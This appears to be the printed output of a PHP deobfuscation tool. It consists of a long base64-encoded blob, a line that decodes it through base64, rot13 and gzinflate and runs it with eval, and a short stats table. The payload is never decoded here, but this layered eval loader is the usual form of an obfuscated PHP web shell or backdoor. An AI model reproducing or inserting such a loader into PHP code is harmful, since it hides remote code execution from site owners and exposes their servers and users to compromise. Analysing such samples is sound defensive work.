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";
eval(str_rot13(gzinflate(str_rot13(base64_decode(($jkt48))))));
Function Calls
gzinflate | 1 |
str_rot13 | 2 |
base64_decode | 1 |
Stats
MD5 | c323726bcc08aef2edd83445d3ce6293 |
Eval Count | 1 |
Decode Time | 1464 ms |